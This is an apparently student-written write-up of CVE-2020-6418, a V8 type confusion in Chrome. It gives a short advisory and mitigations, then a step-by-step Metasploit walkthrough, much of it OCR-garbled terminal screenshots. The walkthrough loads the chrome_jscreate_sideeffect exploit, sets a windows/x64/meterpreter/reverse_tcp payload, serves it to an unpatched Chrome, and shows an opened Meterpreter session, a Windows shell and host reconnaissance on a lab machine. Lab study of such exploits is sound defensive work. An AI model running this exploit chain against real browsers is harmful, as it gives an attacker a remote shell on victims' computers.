CVE 2020-6418 Type confusion in V8 in Google Chrome prior to 80.0.3987.122

Nayan Das

University of Delhi nayandas3234@gmail.com

CVE-2020-6418 is a type confusion vulnerability in V8, Google Chrome's open-source JavaScript and WebAssembly engine.

Vulnerability Description

On February 25, security updates were released for Google Chrome and Microsoft Edge. The opensource JavaScript and WebAssembly engines in V8 in Google Chrome before 80.0.3987.122 and Microsoft Edge browser before 80.0.361.62 are prone to a type confusion vulnerability (CVE-2020-6418), which allows attackers to access data in an unauthorized way, thereby executing malicious code.

V8 is Chrome's component that's responsible for processing JavaScript code.

A type confusion refers to coding bugs during which an app initializes data execution operations using input of a specific "type" but is tricked into treating the input as a different "type."

The "type confusion" leads to logical errors in the app's memory and can lead to situations where an attacker can run unrestricted malicious code inside an application.

Successful exploitation of the vulnerability could allow an attacker to execute arbitrary code in the context of the browser. Depending on the privileges associated with the application, an attacker could view, change, or delete data. If this application has been configured to have fewer user rights on the system, exploitation of this vulnerability could have less impact than if it was configured with administrative rights.

Scope of Impact

Affected Versions

- Google Chrome < 80.0.3987.122
- Microsoft Edge < 80.0.361.62

Unaffected Versions

- Google Chrome >= 80.0.3987.122
- Microsoft Edge = 80.0.361.62

Mitigations

Currently, both Google and Microsoft have released a new version to fix the preceding vulnerability. Affected users are advised to upgrade as soon as possible.

- Apply the stable channel update provided by Google to vulnerable systems immediately after appropriate testing.
- Run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.
- Remind users not to visit un-trusted websites or follow links provided by unknown or untrusted sources.
- Inform and educate users regarding the threats posed by hypertext links contained in emails or attachments especially from un-trusted sources.
- Apply the Principle of Least Privilege to all systems and services.

RISK:

Government:

- Large and medium government entities: **HIGH**
- Small government entities: **MEDIUM**

Businesses:

- Large and medium business entities: **HIGH**
- Small business entities: **MEDIUM**

Home Users:

LOW

EXPLOIT :

1. Before starting the crome we have to turn off the sandbox of out chrome.exe, for this lets open our Command Promp in windows.



- 2. Now lets navigate to our chrome.exe, in my case it is
- > C:\Users\NAYAN\AppData\Local\Google\Chrome\Application



3. Also lets take a look at the ip of our windows machine for confirming the shell access using the ip address.



4. Now in the directory were we have our chrome.exe file run the following command > chrome.exe –no-sandbox

This command will open a chrome window with sandbox turned off.



5. This is our chrome window we got after we executed the command

Revela Bin	■ File Edit View VM Tabs Help ■	
e	New Tab - \times \leftarrow \rightarrow C \bigcirc \Rightarrow \bigcirc \leftarrow \rightarrow \bigcirc	
Microsoft Edge	C You are using an unsupported command-line flag:no-sandbox. Stability and security will suffer. X	
es.	C 💿 Google Chrome isn't your default browser Set as default X	
lmmunity Debugger	Gmail Images	
Di mona-mas.		
(ffa-733514.	Google	
Google Chrome	Q. Search Google or type a URL	
# 1	🗅 Type here to search 🛛 🔿 🗮 🤤 💼 🏦 🖻 🧖 🖭 🧿	へ 記 dii) 3:52 PM 5/23/2020 🐻

6. Lets check the version of our chrome application. It should be prior to 80.0.3987.122. I have 80.0.3987.87 (x64)

🛐 📕 File Edit V	iew VM Tabs H	ielp 🖷 👭 🕨 S 🕢 🖉 🚳 🔳 🖬 🗖 📼	🔁 📢 🕼 Windows 10 x64	* -	ðx
eydd blin Off-3893164 C Settings - About Chron Kerosoff Edge	e × + me chrome://settin ted command-line flag	ngs/help :no-sandbox. Stability and security will suffer.	 \$ (× 9: ×	
Settings	Ab	Q Search settings out Chrome		-	
Privacy and secu	ity	Google Chrome	start (stras and 2: 0x00040154)		
Search engine Search engine Default browser U On startup		Learn more Version 80.0.3987.87 (Official Build) (64-bit) Get help with Chrome			
Advanced incide Extensions	·	Report an issue	ß		
About Chrome	v	Google Chrome Copyright 2020 Google LLC. All rights reserved.		Ţ	
P Type here to search		o # e = f = M 🖂 🧿			~豆彡

7. Now in my Linux System,

Activiti	es 🗉 nayan@ubuntu-inspiron: ~ 🔻	Sat May 23, 3:53 PM		_ 🗆 ×	? ◀	L 🔒 3	2% 🔻
File Ed	it View Search Terminal Tabs Help						
	nayan@ubuntu-inspiron: ~	x	nayan@ubuntu-inspiron: ~	×	æ	•	
lo: fla	gs=73 <up,loopback,running> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 22260 bytes 41585953 (41.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 22260 bytes 41585953 (41.5 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collision</host></up,loopback,running>	s 0				1	
vmnet1:	<pre>flags=4163<up,broadcast,running,multicast> mtu 1500 inet 172.16.153.1 netmask 255.255.255.0 broadcast 172 inet6 fe80::250:S6ff;fec0:1 prefixlen 64 scopeid 0x20 ether 00:50:56:c0:00:01 txqueuelan 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 129 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collision</up,broadcast,running,multicast></pre>	.16.153.255 <link/> s θ					
vmnet8:	<pre>flags=4163<up,broadcast,running,multicast> mtu 1500 inet 192.168.234.1 netmask 255.255.255.0 broadcast 19 inet6 fe80::250:56ff;fec0:8 prefixlen 64 scopeid 0x20 ether 00:50:56:c0:00:08 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 129 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collision</up,broadcast,running,multicast></pre>	2.168.234.255 <link/> s 0					2 2 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
wlp6s0:	<pre>flags=4163<up,broadcast,running,multicast> mtu 1500 inet 192.168.0.103 netmask 255.255.255.0 broadcast 19 inet6 fe80::124:367b:3632:5660 prefixlen 64 scopeid 0 ether a0:437:338:02:6b txgueuelen 1000 (Ethernet) RX packets 131703 bytes 136493216 (136.4 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 105390 bytes 74073067 (74.6 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collision</up,broadcast,running,multicast></pre>	2.168.0.255 x20 <link/> s 0					<u>≜</u> ⊇`
nayan@u	buntu-inspiron:~\$ [

8. Starting the msfconsole,



9. Search for the exploit,

> search chrome_js

Activities 🔄 nayan@ubuntu-inspiron: ~ 🔻	Sat May 23, 3	3:54 PM	_ 🗆 X 🎅 🔩 🔂 34%	•
File Edit View Search Terminal Tabs Help				
nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~	× 🖻 🔺	
ploit			Ľ	2
			· · · · · · · · · · · · · · · · · · ·	e
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%		6787 J 6786 J		
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%	%%%%%%%%%%%%% %% ••••	866% 36%		· 2
[% _ _ _ _ ,aS\$"" _ [% xSP"		20%] 20%]		ï
[%%%%:>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%			.
		6526		
=[metasploit v5.0.88-dev-				5
+=[2008 exploits - 1096 auxiliary - 343 post +=[562 pavloads - 45 encoders - 10 nops				
+=[7 evasion				2
Metasploit tip: Search can apply complex filters such a		pe:exploit, see all the filters with help search		<u>.</u>
<u>msf5</u> > search chrome_js				2
Matching Modules				
				2
# Name 	Disclosure Date Ran	nk Check Description		<u>.</u>
<pre>0 exploit/multi/browser/chrome_jscreate_sideeffect loit</pre>	2020-02-19 mar	nual No Google Chrome 80 JSCreate side-effe	ect type confusion exp	
				-
<u>msf5</u> >				
<u>msf5</u> > <u>msf5</u> > use exploit/multi/browser/chrome_jscreate_sideef	fect			
<pre>msf5 exploit(multi/browser/chrome_jscreate_sideeffect)</pre>	>		U*	

10. Now start with setting up the exploit

> use exploit/multi/browser/chrome_jscreate_sideeffect

>show options,

Activitie	es 🛙	🖬 nayan@ubuntu-ins	spiron: ~ 🔻		Sat M	ay 23, 3:54 F	м				_ 0	×	? €.	;] 3	4% 🔻
File Edi	it Vi	ew Search Termina	al Tabs He	P											
		naya	n@ubuntu-in	spiron: ~	×			nayan@ubunl	u-inspiron: ~				迅	•	
Metasplo	oit t	tip: Search can a	pply compl	ex filters such a	s search cve:20	09 type:e	xploit,	see all the filt	ers with hel	p search					P
<u>msf5</u> > s	searc	ch chrome_js													2
Matching ======	g Moo	dules =====													1
# Na	ame				Disclosure Dat	e Rank	Check	Description							2
0 ex loit	xploi	it/multi/browser/	chrome_jsc	reate_sideeffect	2020-02-19	manual	No	Google Chrome 8	0 JSCreate s	ide-effect	type	confi	usion e	хp	۵
<u>msf5</u> >															
<u>msrs</u> > <u>msf5</u> > u <u>msf5</u> exp	use e ploit	exploit/multi/bro t(multi/browser/c	wser/chrom hrome_jscr	e_jscreate_sideef eate_sideeffect) ::	fect > show options										8
Module d	optic	ons (exploit/mult	:i/browser/	chrome_jscreate_s	ideeffect):										3
Name		Current Setting	Required	Description											0
SRVHO	DST DRT	0.0.0.0 8080	yes yes	The local host to The local port to	o listen on. Th o listen on.	is must b	e an ado	dress on the loca	l machine or	0.0.0.0					•
SSL SSLCe URIP/	ert ATH	false	no no no	Negotiate SSL fo Path to a custom The URI to use fo	r incoming conr SSL certificat or this exploit	ections e (defaul (default	t is ran is rand	ndomly generated) dom)							0
Evoloit	+ > = 0	act.													<u> </u>
Id N	Name	jet:													
 0 V	Windo	ows 10 - Google C	hrome 80.0	.3987.87 (64 bit)											
<u>msf5</u> exp	ploit	(multi/browser/c	hrome_jscr:	<pre>eate_sideeffect) :</pre>	> []										

11. Now lets set the required parameters,

>set SRVHOST <our ip>

>set URIPATH /

>set payload windows/x64/meterpreter/reverse_tcp

Activi	ities [🖾 nayan@ubuntu-i	nspiron: ~ 🔻		Sat May	_ 0	×	? ◀	2 3	4% 🔻				
File E	edit Vi	ew Search Termi	nal Tabs He	lp										
		nay	van@ubuntu-in	spiron: ~	×			nayan@ubuntu	-inspiron: ~			Æ	-	
														P
#	Name				Disclosure Date	Rank	Check	Description						0
0	exploi	it/multi/browse	/chrome_jsc	reate_sideeffect	2020-02-19	manual	No	Google Chrome 80	JSCreate side-effect	type	confu	sion	exp	
loit														1
														-20
<u>msrs</u> > <u>msf5</u> >	•													2
msf5 >	• use e	exploit/multi/b	owser/chrom	e_jscreate_sideef	fect									6
					· · · · · · · · · · · · · · · · · · ·									
Module	e optio	ons (exploit/mu	lti/browser/	'chrome_jscreate_s	ideeffect):									
Nam	ne	Current Setting	g Required	Description										2
SRV	/HOST	0.0.0.0	yes	The local host t	o listen on. Thi	s must be	an add	ress on the local	machine or 0.0.0.0					
SRV SSL	/PORT	8080 false	yes no	The local port t Negotiate SSL fo	o listen on. Trincomina conne	ctions								- 5
SSL	Cert		no	Path to a custom	SSL certificate	(default	is ran	domly generated)						-
URI	PATH		no	The URI to use T	or this exploit	(derault	is rand	iom)						P
Evoloi	+ + > = /	at.												-
LAPTON	u tang	jet.												
Id	Name													0
0	Windo	ows 10 - Google	Chrome 80.0	.3987.87 (64 bit)										
msf5 e	xploi	t(multi/browser			> set SRVHOST 19	2.168.0.1	.03							- E
<u>msf5</u> e	exploit	t(multi/browser,			> set URIPATH /								1	
URIPAT	H => /	/ t(multi/browser	/chrome iscr	reate sideeffect)	> set pavload with	ndows/x64	/metern	reter/reverse_tcn						
payloa	ad => v	windows/x64/met	erpreter/rev	verse_tcp			, need p	_ccp						:::
<u>msf5</u> e	exploi	t(multi/browser,		eate_sideeffect)	> []									••••

12. > set LHOST <ip>

Activities	🔄 nayan@ubuntu-ins	piron: ~ 🔻	Sat May	23, 3:55 PM	_ 🗆 X	? €	🛃 34 % 🔻
File Edit	View Search Termina	l Tabs Hel)				
	nayar	n@ubuntu-in:	piron: ~ ×	nayan@ubuntu-inspiron: ~		æ	• =
SRVHOST => <u>msf5</u> explo URIPATH =>	192.168.0.103 it(multi/browser/c /		<pre>ate_sideeffect) > set URIPATH /</pre>				
<u>msf5</u> explo payload => <u>msf5</u> explo	it(multi/browser/c windows/x64/meter it(multi/browser/c	hrome_jscr preter/rev hrome_jscr	<pre>ate_sideeffect) > set payload win rse_tcp ate_sideeffect) > show options</pre>	dows/x64/meterpreter/reverse_tcp			
Module opt	ions (exploit/mult	i/browser/	hrome_jscreate_sideeffect):				2
Name	Current Setting	Required	Description				6
SRVHOST SRVPORT SSL	192.168.0.103 8080 false	yes yes no	The local host to listen on. This The local port to listen on. Negotiate SSL for incoming connec	must be an address on the local machine or 0.0.0.0 tions			
SSLCert URIPATH		no no	Path to a custom SSL certificate The URI to use for this exploit ((default is randomly generated) default is random)			5
Payload op	tions (windows/x64	/meterpret	r/reverse_tcp):				8
Name	Current Setting	Required	Description				
EXITFUN LHOST	C process	yes yes	Exit technique (Accepted: '', se The listen address (an interface	h, thread, process, none) may be specified)			-
LFORT	4444	yes					
Exploit ta	rget:						
 0 Win	e - dows 10 - Google C	hrome 80.0	3987.87 (64 bit)				
				(a) 6 (a)			
<u>msr5</u> explo LHOST => 1 <u>msf5</u> explo	11(Multi/browser/c 92.168.0.103 it(multi/browser/c	hrome_jscr	<pre>stdeeffect) > Set LHOST 192.1 sate_sideeffect) > []</pre>	08.0.103			

13. > show options

Activities	🖾 nayan@ubuntu-ins	piron: ~ 🔻		Sat May 23, 3:5	55 PM	? •	4 G	35 % 🔻
File Edit V	iew Search Termina	l Tabs Hel	p					
	nayan	@ubuntu-ins	spiron: ~	×	nayan@ubuntu-inspiron: ~	æ	-	
Id Name								2
0 Wind	ows 10 - Google Ch	nrome 80.0	.3987.87 (64 bit)					2
<u>msf5</u> exploi LHOST => 19	t <mark>(multi/browser/c</mark> 2.168.0.103			> set LHOST 192.168.0.	103			2
<u>msf5</u> exploi	t(multi/browser/cl			> show options				2
Module opti	ons (exploit/multi	i/browser/o	chrome_jscreate_s	ideeffect):				6
Name	Current Setting	Required	Description					
SRVHOST	192.168.0.103	yes	The local host to	o listen on. This must	be an address on the local machine or 0.0.0.0			
SRVPORT SSL	8080 false	yes no	The local port to Negotiate SSL fo	o listen on. Fr incoming connections				5
SSLCert URIPATH		no no	Path to a custom The URI to use for	SSL certificate (defa or this exploit (defau	ault is randomly generated) ilt is random)			
Payload opt	ions (windows/x64,	/meterprete	er/reverse_tcp):					
Name	Current Setting	Required	Description					~
EXITFUNC	process	yes	Exit technique	(Accepted: '', seh, th	nread, process, none)			
LHOST LPORT	192.168.0.103 4444	yes yes	The listen addr The listen port	ess (an interface may	be specified)			
								4
Exploit tar	get:							
Id Name								
0 Wind	ows 10 - Google Ch	nrome 80.0	.3987.87 (64 bit)					
<u>msf5</u> exploi	t(multi/browser/cl	hrome_jscro	eate_sideeffect)	> 🗌				

14. > set target 0

> run



15. The server has been started and we got an ip, we have to copy this ip and paste it in out vulnerable

Activitie	s 🖾 nayan@ubuntu-ins	spiron: ~ 🔻		Sa	at May 23, 3:56 PM	_ 0	×	? €	G 3	5% 🔻
File Edit	View Search Termina	il Tabs He	lp							
	nayaı	n@ubuntu-in	spiron: ~	×	nayan@ubuntu-inspiron: ~			æ	-	
Module o	otions (exploit/mult	i/browser/	chrome_jscreate_sideef	fect):						₽-
Name	Current Setting	Required	Description							2
SRVHO: SRVPOI	ST 192.168.0.103 RT 8080	yes yes	The local host to lis The local port to lis	ten on. ten on.	This must be an address on the local machine or 0.0.0.0					2
SSL SSLCe URIPA	rt TH /	no no no	Path to a custom SSL for inc Path to a custom SSL The URI to use for th	oming c certifi is expl	connections .cate (default is randomly generated) .oit (default is random)					Ż
Payload (options (windows/x64	/meterpret	er/reverse_tcp):							6
Name	Current Setting	Required	Description							
EXITF	JNC process 192.168.0.103	yes ves	Exit technique (Acce The listen address ()	pted: '	', seh, thread, process, none) erface may be specified)					5
LPORT	4444	yes	The listen port							3
Exploit	target:									٢
Id N	ame 									•
0 W	indows 10 - Google C	hrome 80.0	.3987.87 (64 bit)							
<u>msf5</u> exp target =:	loit(multi/browser/c > 0		<pre>eate_sideeffect) > set</pre>	target						4
<u>msrs</u> exp [*] Explo [*] Explo	bit running as backg bit completed, but n	hrome_jscr round job o session	<pre>eate_sideerfect) > run 0. was created.</pre>							
<u>msf5</u> exp [*] Star	loit(multi/browser/c ted reverse TCP hand	hrome_jscr ler on 192	<pre>reate_sideeffect) > c.168.0.103:4444 </pre>						1	
[*] USing [*] Serve]	er started.	8.0.103:80	80/							

Activitie	s 🖾 nayan@ubuntu-ir	spiron: ~ 🔻		Sat May 23,	3:56 PM		_ 🗆 ×	? ∎	G 3	5% 🔻
File Edi	: View Search Termin	al Tabs He	lp							
	naya	an@ubuntu-ir	ispiron: ~	×	nayan@ubun	itu-inspiron: ~		æ	-	
Module o	ptions (exploit/mul	ti/browser/	chrome_jscreate_sid	eeffect):						2
Name	Current Setting	Required	Description							2
SRVHO SRVPO	ST 192.168.0.103 RT 8080	yes yes	The local host to The local port to	listen on. This mu listen on.	st be an address on the loc	al machine or 0.0.0.0				2
SSLCe URIPA	rt TH /	no no	Path to a custom S The URI to use for	SL certificate (de this exploit (def	fault is randomly generated ault is random)					2
Payload	options (windows/x6	4/meterpret	er/reverse_tcp):							۵.
Name	Current Settin	g Required	Description							
EXITF	UNC process 192.168.0.103	yes ves	Exit technique (A The listen addres	ccepted: '', seh,	thread, process, none)					5
LPORT	4444	yes	The listen port		y be speechedy					8
Exploit	target:									
Id N 	ame 									6
0 W	indows 10 - Google	Chrome 80.0	0.3987.87 (64 bit)							0
<u>msf5</u> exp target =	loit(multi/browser/ > 0			set target 0						<u>ک</u>
<u>msf5</u> exp [*] Expl [*] Expl	loit(multi/browser/ oit running as back oit completed but	chrome_jscr ground job no session	<pre>eate_sideeffect) > 0. was created.</pre>	run						•
<u>msf5</u> exp [*] Star	loit(multi/browser/ ted reverse TCP han	chrome_jscr dler on 192	<pre>ceate_sideeffect) > .168.0.103:4444</pre>							
[*] Usin [*] Serv]	g URL: <u>http://192.1</u> er started.	68.0.103:80	080/							

16. Now browse the ip the copied in the windows browser



17. The page will keep on loading, we should get a meterpreter on the other side

0		🖡 File	Edit	View	VM	Tabs	Help			8	٥	()	0			-	•	🗊 Win	dows 1	0 x64	×		×	
Recycle Bin	Offe538514																							
	N C	192.168.0.1	03:8080		×	+													-		×			
Altresoft	(~	\rightarrow X	() N	lot secur	re 19	2.168.0	0.103:80	80											Ċ	☆ E	• E			
Edge	С																							
5	С																							
Debugger																								
mona-mas																								
Offe5385114																								
Google																								
Chrome																								
																								2.
م 🗄	Type h	ere to sea	rch				0	JO	e					M	<u> </u>							/	1	3: 5/2

18. We got a meterpreter sessions opened

Activities	🖾 nayan@u	ibuntu-ins	piron: ~ 🔻		Sat May 23, 3:56 PM		_ 🗆 X	? €.	🔒 35	5% 🔻
File Edit	View Search	Termina	l Tabs Help)						
		nayar	n@ubuntu-ins	piron: ~	×	nayan@ubuntu-inspiron: ~		æ	•	
SRVHOS SRVPOR SSL SSLCer	T 192.168.0 T 8080 false t	9.103	yes yes no no	The local host to listen or The local port to listen or Negotiate SSL for incoming Path to a custom SSL certi	on. This must be an address on. g connections ificate (default is randoml	on the local machine or 0.0.0.0				₽ <u></u>
URIPAT Payload o	H / ptions (wind	dows/x64	no /meterprete	The URI to use for this exp r/reverse_tcp):	xploit (default is random) ⊂					2
Name	Current	Setting	Required	Description						
EXITFU	NC process	 A 1A3	yes	Exit technique (Accepted:	: '', seh, thread, process,	none)				
LPORT	4444	.0.105	yes	The listen port	terrace may be spectreedy					
Exploit t	arget:									5
Id Na	ne									- 2
0 Wi	ndows 10 - (Google C	hrome 80.0.	3987.87 (64 bit)						ø
<u>msf5</u> expl	oit(multi/b			<pre>sate_sideeffect) > set targe</pre>	get 0					-
target => <u>msf5</u> expl [*] Explo	o oit(multi/b it running a	r <mark>owser/c</mark> l as backg	hrome_jscro round job (eate_sideeffect) > run).						0
[*] Explo <u>msf5</u> expl	it completed oit(<mark>multi/b</mark>	d, but no rowser/c	o session w hrome_jscre	was created. *ate_sideeffect) > 168_0_103*4444						1
[*] Using [*] Serve	URL: http:, r started.	//192.16	8.0.103:808	30/						
[*] 192.1 Chrome/80 [*] Sendi	68.0.110 .0.3987.87 5	chrome_ Safari/5 01283 by	jscreate_si 37.36 tes) to 192	deeffect - Sending / to Mo:	ozilla/5.0 (Windows NT 10.0	; Win64; x64) AppleWebKit/537.36 (KHTML, like	e Gecko	›) 	
[*] Meter	preter sess	ion 1 op	ened (192.1	168.0.103:4444 -> 192.168.0	9.110:50120) at 2020-05-23 :	15:56:41 +0530				

Activitie	s 🗈 nayan@ubuntu-insj	piron: ~ 🔻		Sat May 23, 3:56 PM	1	;	×	? €	🔒 35 %	
File Edit	View Search Terminal	Tabs Help	2							
	nayan	@ubuntu-ins	piron: ~	×	nayan@ubuntu-inspiron: ~			æ		
Name	Current Setting	Required	Description						Ľ	-
EXITF LHOST	UNC process 192.168.0.103	yes yes	Exit technique (Accepte The listen address (an	d: '', seh, thread interface may be s	l, process, none) ;pecified)				9	2
LPORT	4444	yes	The ciscen porc							1
Exploit	target:								1	*
Id N	ame 									3
0 W	indows 10 - Google Ch	nrome 80.0.	.3987.87 (64 bit)							
<u>msf5</u> exp target =	loit(multi/browser/cl > 0		eate_sideeffect) > set ta	orget 0						
<u>msf5</u> exp [*] Expl [*] Expl	loit(multi/browser/ch bit running as backgr bit completed but no	rome_jscre ound job (eate_sideeffect) > run). was created							4
msf5 exp [*] Star	<pre>[*] Started reverse TCP handler on 192.168.0.103:4444</pre>								d	•
[*] USin [*] Serv [*] 192.	(*) Using URL: http://192.168.0.103:8080/ [*] Server started. (*) 192.168.0.110 chrome jscreate sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko))	6
Chrome/8 [*] Send [*] Mete	hrome/80.0.3987.87 Safari/537.36 *] Sending stage (201283 bytes) to 192.168.0.110 *] Meterneter session 1 opened (192.168.0.103:4444 -> 192.168.0.110:50120) at 2020-05-23.15:56:41 +0530									9
sessions	essions									4
Active s	Active sessions									
			- F +		6					-
1	meterpreter x64/w	vindows DI	ESKTOP-JAR4P3N\NAYAN DAS	@ DESKTOP-JAR4P3N	192.168.0.103:4444 -> 192.168.0.110:50120 (192.168.	0.1	10)		
<u>msf5</u> exp	<pre>f5 exploit(multi/browser/chrome_jscreate_sideeffect) > []</pre>							- II	::	

19. > sessions -i <session id>



20. >shell



21. finding the ip address, and we confirmed that we have gained the shell of our desired system



22. > whoami, we got desktop-jar4p3n\nayan das

Activities	🖬 nayan@ubu	ntu-inspiron: ~ 🔻	Sat May 23, 3:58	8 PM	_ 0	×	? €	🔒 37	% 🔻
File Edit	View Search	Terminal Tabs Help						_	
		nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~			æ	-	
C:\Users\	NAYAN DAS\Appi	Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87>						<u>-</u>
C:\Users\ C:\Users\ ipconfig	NAYAN DAS\Appi NAYAN DAS\Appi	Data\Local\Google\Chrome\Applicat Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87> ion\80.0.3987.87>ipconf	fig				I	2
Windows I	P Configuratio	n							%
Ethernet	adapter Etheri	net0:							6
Connec Link-l IPv4 A	tion-specific .ocal IPv6 Add	DNS Suffix . : www.tendawifi.co ess : fe80::5125:2fb2: : 192.168.0.110	m 3599:9b83%10						
Subnet Defaul	: Mask .t Gateway	: 255.255.255.0 : 192.168.0.1							2
Ethernet	adapter Blueto	ooth Network Connection:							2
Media Connec	State tion-specific	: Media disconnect DNS Suffix . :	ed						
C:\Users\ whoami	NAYAN DAS\Appl	Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87>whoami						•••
desktop-j	jar4p3n∖nayan (las							0
C:\Users\ sysinfo	NAYAN DAS\Appl	Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87>sysinf	Fo					4
'sysinfo' operable	is not recogn program or ba	nized as an internal or external .ch file.	command,						
C:\Users\ cd	NAYAN DAS\Appl	Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87>cd						
C:\Users\	NAYAN DAS\Appi	Data\Local\Google\Chrome\Applicat	ion\80.0.3987.87						
	and the press	ferr and free ferr						U	

23. Or we can do this through our meterpreter session

Activities 🗈	nayan@ubuntu-inspiron: ~ 🔻	Sat May 23, 3:58 PM	-	• ×	? €	🔒 37	% 🕶
File Edit Vie	w Search Terminal Tabs Help						
	nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~		æ	•	
<u>meterpreter</u> >	ipconfig						<u>-</u>
Interface 1							0
——————— Name Hardware MAC мти	: Software Loopback Interface 1 : 00:00:00:00:00:00 : 4294967295						2
IPv4 Address IPv4 Netmask	: 127.0.0.1 : 255.0.0.0						%
IPv6 Address IPv6 Netmask	: ::1 : ffff:ffff:fff:fff:ffff:ffff:ffff						6
Interface 8							
Name Hardware MAC	: Bluetooth Device (Personal Area Network) : a0:d3:7a:38:02:6f						5
MTU IPv4 Address IPv4 Netmask	: 1500 : 169.254.241.86 : 255.255.0.0						3
IPv6 Address IPv6 Netmask	: fe80::a0C5:752d:7707:f156 : ffff:ffff:ffff:ffff:						@ .
Interface 10							•
Name	: Intel(R) 82574L Gigabit Network Connection						0
Hardware MAC MTU	: 00:0c:29:a5:9c:7b : 1500						<u> </u>
IPv4 Address IPv4 Netmask IPv6 Address	: 157.103.0.110 : 255.255.255.0 : fe80::5125:2fb2:3599:9b83						•
IPv6 Netmask	: ffff:ffff:ffff:f						
<u>meterpreter</u> >							

24. >sysinfo

File Edit View Search Terminal Tabs Help	
nayan@ubuntu-inspiron: ~ × nayan@ubuntu-inspiron: ~ × 🖪 🔻	
IPv4 Netmask : 255.0.0.0	P- •
IPv6 Address : ::1 Tpv6 Netmark : fff:fff:fff:fff:fff:fff:fff:fff.	0
Interface 8	1
Name : bluetooth bevice (refisinal Area Network) Hardware MAC : a0:43/7a/38:02:0f	2
MTU : 1500 TDV// Address : 160 25/ 2/1 96	6 .
IPv4 Address : 255.255.0.0	
IPv6 Address : fe80::a0c5:752d:7707:f156 IPv6 Netmask : ffff:fff:fff:fff:fff:	
Interface 10	2
	3
Hardware MAC : 00:00:29:65:96:7b	
MTU : 1500 TDv4 Address : 192 168 0 110	C .
10v4 Netmask : 255.255.255.0	2
IPv6 Address : fe80::5125:2fb2:3599:9b83 Tpv6 Netmark : ffff:fff:fff:fff:	
	0
<u>meterpreter</u> > sysinto	
Computer : DESKTOP-JAR4P3N	<u> </u>
us : windows 10 (10.0 build 18503). Architecture : x64	
System Language : en US	
Loged On Users : 2	
Weterpreter : x64/windows	
meterpreter > []	